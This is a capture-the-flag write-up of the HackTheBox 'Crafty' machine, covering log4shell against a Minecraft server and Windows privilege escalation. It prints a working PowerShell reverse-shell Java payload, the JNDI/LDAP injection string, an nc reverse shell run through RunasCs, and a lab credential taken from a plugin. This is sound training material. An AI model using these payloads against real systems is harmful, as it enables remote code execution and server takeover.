Crafty
2024-04-02
INTRODUCTION
Crafty is an easy-rated Windows box, released for week 6 of HTB’s Season IV Savage Lands. This box centers around exploitation of log4j
- maybe you’ve heard of it 😂 It was a really big deal in 2021. While the epidemic that ensued caused heaps of damage, very little actually changed as a result of its occurrence. If anything can be said for it, at least it stoked the international dialog on supply-chain attacks and the failing health of the open source ecosystem.
This box is just a website and a minecraft server. Foothold can be gained by mimicking a textbook example of log4shell
. In this case, using a malicious LDAP server to indirectly serve a Java class that opens a reverse shell. Thankfully, the target isn’t running any antivirus, and crafting the reverse shell is easy. After gaining a foothold, some manual enumeration will lead you to a file containing a credential. The trick is in knowing how to utilize the credential, given the fragile nature of the reverse shell.
In my opinion, Crafty was really unpleasant. It’s cool that they did something with log4j
, but at every twist and turn of this box, it was 10/10 annoying. For example, there’s no way to gain a better shell on the box, so if your reverse shell ever dies, you’ll need to re-exploit. And when you re-exploit, the box becomes unusable for every other HTB user - leading to an inevitable reset! 😫
RECON
nmap scans
Port scan
For this box, I’m running my typical enumeration strategy. I set up a directory for the box, with a nmap
subdirectory. Then set $RADDR
to the target machine’s IP, and scanned it with a simple but broad port scan:
sudo nmap -p- -O --min-rate 1000 -oN nmap/port-scan-tcp.txt $RADDR
PORT STATE SERVICE
80/tcp open http
25565/tcp open minecraft
😂 25565… That’s probably the first port number I ever memorized, from running minecraft servers off my own computers at home. Wow, what a blast from the past.
Script scan
To investigate a little further, I ran a script scan over the TCP ports I just found:
TCPPORTS=`grep "^[0-9]\+/tcp" nmap/port-scan-tcp.txt | sed 's/^\([0-9]\+\)\/tcp.*/\1/g' | tr '\n' ',' | sed 's/,$//g'`
sudo nmap -sV -sC -n -Pn -p$TCPPORTS -oN nmap/script-scan-tcp.txt $RADDR
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: Did not follow redirect to http://crafty.htb
|_http-server-header: Microsoft-IIS/10.0
25565/tcp open minecraft Minecraft 1.16.5 (Protocol: 127, Message: Crafty Server, Users: 0/100)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019 (86%)
Aggressive OS guesses: Microsoft Windows Server 2019 (86%)
Vuln scan
Now that we know what services might be running, I’ll do a vulnerability scan:
sudo nmap -n -Pn -p$TCPPORTS -oN nmap/vuln-scan-tcp.txt --script 'safe and vuln' $RADDR
No vulnerabilities were found.
UDP scan
To be thorough, I also did a scan over the common UDP ports:
sudo nmap -sUV -T4 -F --version-intensity 0 -oN nmap/port-scan-udp.txt $RADDR
No open/listening UDP ports were found.
Port 80 - Webserver Strategy
Noting the redirect from the nmap scan, I added crafty.htb
to /etc/hosts and did banner grabbing on that domain:
DOMAIN=crafty.htb
echo "$RADDR $DOMAIN" | sudo tee -a /etc/hosts
whatweb $RADDR && curl -IL http://$RADDR
OK, so it’s using Microsoft IIS 10.0
for the webserver, which seems like the current version.
Next I performed vhost and subdomain enumeration. I’ll check for subdomains of crafty.htb
:
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.$DOMAIN" -c -t 60 -o fuzzing/vhost-$DOMAIN.md -of md -timeout 4 -ic -ac -v
No new results from that. I’ll move on to directory enumeration on http://crafty.htb:
WLIST="/usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt"
ffuf -w $WLIST:FUZZ -u http://$DOMAIN/FUZZ -t 80 --recursion --recursion-depth 2 -c -o ffuf-directories-root -of json -e php,asp,aspx,html -timeout 4 -v
Directory enumeration against http://crafty.htb/ gave the following:
Exploring the Website
The index page doesn’t hold any surprises. /home
and .
both redirect here. All three buttons link to /coming-soon
. The website doesn’t appear to have any interactible content.
Port 25565 - Minecraft
According to the nmap service version scans, the target is running Minecraft 1.16.5
. Interestingly, a quick check reveals that this version is wildly out-of-date, from 2021. The latest Java Edition Minecraft is 1.20.2
.
Version
1.16.5
was the last version that uses Java 8. We’ll see if that’s relevant.🔔 Wait a second… Java…? 2021…? Is this about exploiting
log4j
? It’s worth checking, that’s for sure!
I already knew that people exploited log4j
to attack Minecraft servers; it was a big deal that year. What I didn’t realize was how easy it was to actually pull off this exploit. Check out this video for a quick demonstration.
In this video, they utilize a malicious LDAP server using this repo and force the vulnerable minecraft server to make a request to the LDAP server, loading in a java class that contains the payload.
I shouldn’t get too excited. According to this official message, it’s possible to patch the vulnerability without upgrading the server:
1.12-1.16.5: Download this file to the working directory where your server runs. Then add the following JVM arguments to your startup command line: -Dlog4j.configurationFile=log4j2_112-116.xml
Java SE 8
To set up the malicious LDAP server (or RMI, it doesn’t matter) shown in that repo, we first need to install Java 8. You can get the official one from here, but it requires making a login.
👀 I always find dealing with java to be such a pain.
Note that my current java version is 17.0.10
:
Download the java version. I already had one sitting around, jdk1.8.0_381
as a tarball in my Downloads directory. Next we install it so that update-alternatives
can access it:
cd /usr/lib/jvm
tar -zxvf ~/Downloads/jdk-8u381-linux-x64.tar.gz
sudo update-alternatives --install "/usr/bin/java" "java" "/usr/lib/jvm/jdk1.8.0_381/bin/java" 0
sudo update-alternatives --install "/usr/bin/javac" "javac" "/usr/lib/jvm/jdk1.8.0_381/bin/javac" 0
Now that we’re done with that, we can change java versions more easily:
sudo update-alternatives --config java
Select the version of java that we need. In this case, option 3:
Also do the same for javac
Now we can verify that we’re using the right version:
☝️ You can also simply mask the java version by setting the
JAVA_HOME
environment variable, then putting that version of java on your PATH. That’s what I’ve done in the past, but this is easier. For an example of that method, check out this section of my RegistryTwo walkthrough.
FOOTHOLD
The whole plan for gaining a foothold might be a little confusing. I’ll be tackling each step in separate sections, but here’s the overall plan:
Getting Minecraft
⚠️ Reader! Please note there is a much better way to do this than getting the Minecraft client. At the end of this walkthrough, after going through this exploit using the Minecraft client, I explore how to do gain a foothold without needing to download or install the game.
Please refer to the section Exploiting without minecraft if that’s something that interests you. I highly recommend it!
I’m using TLauncher to get exactly the minecraft client version I need. Frankly, this application is making my skin crawl. I don’t recommend it 😷
My opinion? Go find something better than TLauncher. This launcher is really polluting my system. I’m going to have some cleanup work to do after this box🤦♂️
Be sure to choose the unmodded (Release) version. Click Install to download the appropriate minecraft client (I hope). It will install into ~/.minecraft
, and the launcher itself is in ~/.tlauncher
.
After downloading, I can run the game. I’ll connect to the target server:
It seems to run alright for a few minutes, then crashes: no worries though - it won’t take that long to deploy the payload.
Writing the payload
For the payload, we’ll need to define a java class to gain RCE. For this, the easiest way is to define a class with a single static initializer block, that utilizes getRuntime().exec()
. This way, the code will be executed as soon as the class is imported. Remember that the .java
file must be named the same as the class:
public class Payload {
static {
try {
String cmd = "powershell -nop -c \"$client = New-Object System.Net.Sockets.TCPClient(\'10.10.14.7\',4444);$s = $client.GetStream();[byte[]]$b = 0..65535|%{0};while(($i = $s.Read($b, 0, $b.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);$sb = (iex $data 2>&1 | Out-String );$sb2 = $sb + \'PS \' + (pwd).Path + \'> \';$sbt = ([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sbt,0,$sbt.Length);$s.Flush()};$client.Close()\"";
java.lang.Runtime.getRuntime().exec(cmd).waitFor();
} catch (Exception e) {
System.out.println("An error occurred while deploying payload:\n");
e.printStackTrace();
}
}
}
☝️ For the
cmd
variable above, I used https://www.revshells.com/ to generate thePowershell #2
reverse shell, specifying my currenttun0
IP and port 4444. It’s completely unobfuscated and sent as plaintext.Since this is all going into a java
String
variable, all of the double-quotes and single-quotes will need to be escaped with a backslash\
.
Then compile the payload. Remember, it must be compiled using Java 8:
Note: I initially tried this all using a base64 encoded Powershell reverse shell. Turns out that wasn’t necessary, and didn’t work. The above reverse shell works fine though.
Serving the payload
I’ll use a Python http.server
to serve the payload. The LDAP server from marshalsec will reference this server when contacted by the target. Then, this http.server
will serve our malicious java class to the target. From there, the target will include the code, which should run the static initializer code and trigger a reverse shell.
sudo ufw allow from $RADDR to any port 8000 proto tcp
cd exploit/payload # Directory that contains Payload.class
python3 -m http.server 8000
Setting up marshalsec
The marshalsec git repo that I mentioned earlier is used for a few different deserialization attacks. For those that want to learn in detail how it works, the repo has a paper explaining it all.
👍 The repo also mentions that Java 8 is required, but we’ve already taken care of that.
First, we’ll build it using maven
:
mvn clean package -DskipTests
The feature I’ll need to use is JNDI reference indirection. Basically, we’ll get marshalsec to host a malicious LDAP server that, when called upon, will refer to an http server that we’re hosting on the target machine. We’ll be hosting a malicious java class from the http server. It should work like this:
Next, we’ll run marshalsec
JNDI reference indirection and point it at an http server running locally. (PHP, Python, or anything else would be fine, but I’ll be using a python http.server
):
sudo ufw allow from $RADDR to any port 1389 proto tcp
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://10.10.14.7:8000/#Payload"
The JNDI call that arrives here will basically tell the target Minecraft server “hey, look for the Payload class over here, and include that remote code into the classpath”.
Reverse shell
Next, I’ll open up a reverse shell listener:
sudo ufw allow from $RADDR to any port 4444 proto tcp
bash
rlwrap socat -d TCP-LISTEN:4444 STDOUT
Finally, all of the pieces are in place. We can verify with netstat -tulpn
can see they are listening and ready:
We should be able to trigger this whole thing by logging into the Minecraft server, then saying this in the chat:
${jndi:ldap://10.10.14.7:1389/Payload}
Trying it out
Alright, I’ll try logging onto the target’s Minecraft server and saying the JNDI
command. I took a gif of achieving the reverse shell, but the LDAP
server and HTTP
server were contacted in a terminal not visible in the gif:
First, we see the LDAP
server get contacted by the target:
Then the HTTP
server gets a request for the Payload.class
:
Here’s how I did it in the game (press T
to chat):
Indeed, we now have a Powershell
reverse shell running as svc_minecraft:
USER FLAG
The user flag is sitting on the Desktop folder for svc_minecraft
. Go get it!
cd C:\Users\svc_minecraft\Desktop
cat user.txt
SSH
🚫 The target isn’t running SSH - don’t bother with this. I’m keeping this process here just for my own reference on future boxes, but it’s definitely not useful for Crafty!
Now that I got a foothold, I’d like to do an SSH connection instead. I’ll generate a key and try to plant it on the target:
ssh-keygen -t rsa -b 4096
# Used passphrase st4rling
base64 -w 0 id_rsa.pub | tee id_rsa.pub64
# copy the base64 public key to clipboard
chmod 700 id_rsa
On the target, we’ll use powershell
to decode the key and place it:
cd C:\Users\svc_minecraft
New-Item -ItemType Directory -Force .ssh
cd .ssh
# Paste the base64 public key
$b64 = "c3NoLXJz...GthbGkK"
# Decode the base64 key
$decodedText = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64))
$decodedText | Out-File -FilePath "authorized_keys" -Encoding utf8
Then we log in using the private key:
ssh -i ./id_rsa svc_minecraft@$RADDR
😞 Unfortunately though, this didn’t seem to work. SSH just times out.
🤦♂️ Edit: DUH! For some reason, I thought the target was running SSH? I just rechecked my port scan, and it definitely is not. Woops!
ROOT FLAG
User enumeration
I’m still not very skilled with Windows, so I’m going to go straight to running winPEAS
to look for a way to escalate. Normally, I’d transfer winPEAS
using wget
or curl
, but it seems that the target doesn’t have either of those. Instead, let’s just use powershell:
(New-Object Net.WebClient).DownloadFile('http://10.10.14.7:8000/winPEASany.exe', 'C:\users\svc_minecraft\Desktop\winPEAS.exe')
.\winPEAS.exe
WinPEAS found a list of users, although just running net users
would have done the same:
However, winPEAS also showed that there have been 0 logins for jacob
. Additionally, jacob
does not have a directory in C:\Users
- so I think it’s fair to say we won’t need to privesc to that user. In short, we only need to care about Administrator
and svc_minecraft
.
WinPEAS also seems to have found a hash for svc_minecraft
:
???????????? Enumerating Security Packages Credentials
Version: NetNTLMv2
Hash: svc_minecraft::CRAFTY:1122334455667788:c3b03e710cbcd66c30d43a49dffcaba3:01010000000000004bac97c87286da0135d0d230f8fbba4f0000000008003000300000000000000000000000002000004f18521d80ec0b053dce8cd5cf17f3359cca6435314f2d4862b085bf4a92a0c60a00100000000000000000000000000000000000090000000000000000000000
Next, I took a look around the filesystem. I found a plugin for the minecraft server, 'C:\users\svc_minecraft\server\plugins\playercounter-1.0-SNAPSHOT.jar
.
That’s notable mostly because we know the server was running without mods… 🤔
playercounter
I tried a few different methods to attempt to upload it to my machine so that I could examine the file, but didn’t have much success:
- Impacket SMB server; drive mapping and copy to mapped drive
- Impacket SMB server; upload to remote directory
- Python
uploadserver
Ultimately, I had to resort to using one of my own tools (one that’s kinda poorly-written), that I made to act a lot like python’s uploadserver
module. Basically, it’s an extension of http.server
that also handles POST requests and will output all received data to stdout. That way, you can just POST base64-encoded data at it:
git clone https://github.com/4wayhandshake/simple-http-server.git
cd simple-http-server
./SimpleServer.py 8000
Now, from the target, we can base64-encode the file and upload it using a POST request:
$b64 = [System.convert]::ToBase64String((Get-Content -Path 'C:\users\svc_minecraft\server\plugins\playercounter-1.0-SNAPSHOT.jar' -Encoding Byte))
Invoke-WebRequest -Uri http://10.10.14.7:8000 -Method POST -Body $b64
Then on the attacker, we need to base64-decode the data and put it into a file:
echo 'UvcG9tLnByb3BlcnRpZXNQSw...UGAAAAABkAGQBxBwAAhR8AAAAA' | base64 -d > playercounter.jar
Wondering if it held anything interesting, I checked strings
on it. Nothing too interesting, just a mention of a java class (Playercounter.class
). Curious about the class, I opened the file up in jd-gui (java decompiler) and examined the class. This is what I found:
package htb.crafty.playercounter;
import java.io.IOException;
import java.io.PrintWriter;
import net.kronos.rkon.core.Rcon;
import net.kronos.rkon.core.ex.AuthenticationException;
import org.bukkit.plugin.java.JavaPlugin;
public final class Playercounter extends JavaPlugin {
public void onEnable() {
Rcon rcon = null;
try {
rcon = new Rcon("127.0.0.1", 27015, "s67u84zKq8IXw".getBytes());
} catch (IOException e) {
throw new RuntimeException(e);
} catch (AuthenticationException e2) {
throw new RuntimeException(e2);
}
String result = null;
try {
result = rcon.command("players online count");
PrintWriter writer = new PrintWriter("C:\\inetpub\\wwwroot\\playercount.txt", "UTF-8");
writer.println(result);
} catch (IOException e3) {
throw new RuntimeException(e3);
}
}
public void onDisable() {}
}
Ah, I get it. This is the thing that produces that little widget we saw on the /home
page:
But wait… is this line some kind of connection string to a local service on port 27015? Perhaps string is a credential? I’ll look into it next 🚩
rcon = new Rcon("127.0.0.1", 27015, "s67u84zKq8IXw".getBytes());
Also, we see that it’s writing a file to C:\inetpub
. Is that a protected folder? You’d think the svc_minecraft
and webserver service account would be separate. If this plugin is running with elevated permissions, it should be simple enough to swap it out for something that opens another shell. I’ll have to look into this as well 🚩
Mysterious credential
As I concluded earlier in the user enumeration section, the only two users on this machine that I need to care about are Administrator
and svc_minecraft
. Hopefully, s67u84zKq8IXw is the password for Administrator
.
But even then, how does one change between users in Windows? It’s not like you can simply su -u
like you might in Linux. There are a few ways…
Powershell only
Theres a way using only powershell
:
$username = "Administrator"
$password = ConvertTo-SecureString "s67u84zKq8IXw" -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential($username, $password)
Start-Process -Credential $credential -FilePath "whoami.exe"
I didn’t get any result from doing that.
Runas
There’s also a way usin runas
, which should prompt for a password when it runs:
runas /user:Administrator /noprofile /savecred cmd
☝️ This is roughly equivalent to
su -u [username] /bin/bash
The disadvantage with this is that you can’t provide a password to this call directly. In other words, you need an interactive prompt to use runas
.
One way to get around this is by building on what we did in the “Powershell only” way:
$username = "Administrator"
$password = ConvertTo-SecureString "s67u84zKq8IXw" -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential($username, $password)
Start-Process -Credential $credential -FilePath "runas" -ArgumentList "/user:$username 'whoami.exe'"
However, this didn’t do anything either! Neither did this:
Start-Process -Credential $credential -FilePath "runas" -ArgumentList "/user:$username /noprofile /savecred 'whoami.exe'"
RunasCs
There’s a handy tool written as a drop-in replacement for runas
but with extra functionality. It’s a lot more useful if you’re working out of a “dumb” shell. Check out the git repo for more detail. It allows the user to supply both the username and password as arguments.
Although this distinction sounds minor, it should allow us to overcome the limitations of this reverse shell!
First, let’s serve this tool to the target:
wget https://github.com/antonioCoco/RunasCs/releases/download/v1.5/RunasCs.zip
unzip RunasCs.zip
python3 -m http.server 8000
Now, I’ll download the tool to the target:
# Download RunasCs
$file = 'C:\users\svc_minecraft\Downloads\RunasCs.exe'
(New-Object Net.WebClient).DownloadFile('http://10.10.14.7:8000/RunasCs.exe', $file)
# Try RunasCs
.\RunasCs.exe Administrator s67u84zKq8IXw "cmd /c whoami"
Nice! it worked! As it turns out, that “s67u84zKq8IXw” thing was indeed the password for Administrator
:
Let’s see if we can get a reverse shell out of it. I tried using a powershell reverse shell - didn’t work. Let’s try a netcat one instead. Also, nc
isn’t on the target machine, so let’s download a copy:
$file = 'C:\users\svc_minecraft\Downloads\nc.exe'
(New-Object Net.WebClient).DownloadFile('http://10.10.14.7:8001/windows-binaries/nc.exe', $file)
Next, as shown in the RunasCs github repo, I’ll make a nc
reverse shell and background it by using the -t 0
option:
$nc = "C:\users\svc_minecraft\Downloads\nc.exe"
.\RunasCs.exe Administrator s67u84zKq8IXw "$nc 10.10.14.7 4445 -e cmd.exe" -t 0
Alright! Success! 😁
Finally we have a root shell. Just type
out the flag for those glorious root flag points 💰
type root.txt
⚠️ Remember to reset your
java
andjavac
versions to their defaults, if you haven’t already done so:# Select the entries marked 'auto' sudo update-alternatives --config java sudo update-alternatives --config javac
EXTRA CREDIT
Exploiting without Minecraft
To exploit the vulnerability in log4j
, we simply need to find a way to inject JNDI
code into the log file. So we should be asking, do we really need to use a minecraft client for this? I would have loved to avoid getting TLauncher and downloading the game.
There’s a python package that looks like it does exactly this, called pyCraft. It looks like it has some requirements, so let’s set up a venv
and try this out:
mkdir headless; cd headless
git clone https://github.com/ammaraskar/pyCraft.git
python3 -m venv .
source bin/activate
pip3 install requests cryptography pynbt
It comes with a pre-written example script, start,py
:
Note that, even though we’re connecting to a multiplayer server, we’re in the offline use-case because we’re not trying to authenticate with authentication.mojang.com
. Hence, run it by providing a blank password:
python3 start.py -u 4wayhandshake -p '' -s 10.10.11.249
It replies stating that was connected successfully. If you check out start.py
, you’ll see that any input other than /respawn
becomes a chat message. So we can exploit the target by issuing a single chat command:
Right away, I saw the exploit go through the LDAP server and the webserver:
Then I had a reverse shell!
😁 That was way easier and cleaner that using a Minecraft launcher and downloading the game.
LESSONS LEARNED
Attacker
- When you’re dealing with Windows, sometimes it just takes a few tries. When I was doing privilege escalation to
Administrator
, I wasn’t even certain that I a password, much less the correct password. Thankfully, I only had to keep trying four times before I had positive confirmation that I had the correct password. The important part is that I didn’t give up right away - even though the alternatives I tried seemed nearly identical. - Keep RunasCs in mind for privilege escalation. This tool seems really useful, especially for the (fairly common) case when we’re trying to escalate using a non-interactive “dumb” shell.
Defender
Disable remote code. I still can barely understand why Java has mechanisms for introducing remote code into a program. I’ve gone on this rant before, but why do things like RMI even exist? Do yourself a favor and disable this functionality. You can do this by providing flags to the java runtime itself.
The administrator left code inside the user directory of
svc_minecraft
that could easily be read. Although the action that this code performed was indeed safe, there were hardcoded credentials left inside. That’s a big problem. A way to prevent this is through access control lists (ACLs) and moving the credential into a secure location (not readible bysvc_minecraft
). The administrator could grant execute permissions tosvc_minecraft
for the plugin, but deny them read access to the credential file, by defining ACL rules withSystem.Security.AccessControl.FileSystemAccessRule
.Keep your software updated. Updating quickly would keep the server from being vulnerable for too long. The average developer didn’t see
log4shell
coming. The best they could have done is react quickly to it, and patch things as fast as possible.Fund open source. Sadly, it’s not rare for widespread essential packages like
log4j
to be under-funded and in poor health. While many developers didn’t seelog4shell
coming, thelog4j
developers flagged the issue over a year before it became well-known. However, due to limited capacity and budget constraints, they couldnt fix it. So many people and companies keep demanding more and more from open source, but providing nothing. It’s unjust. You want something done? Contribute.
Thanks for reading
🤝🤝🤝🤝
@4wayhandshake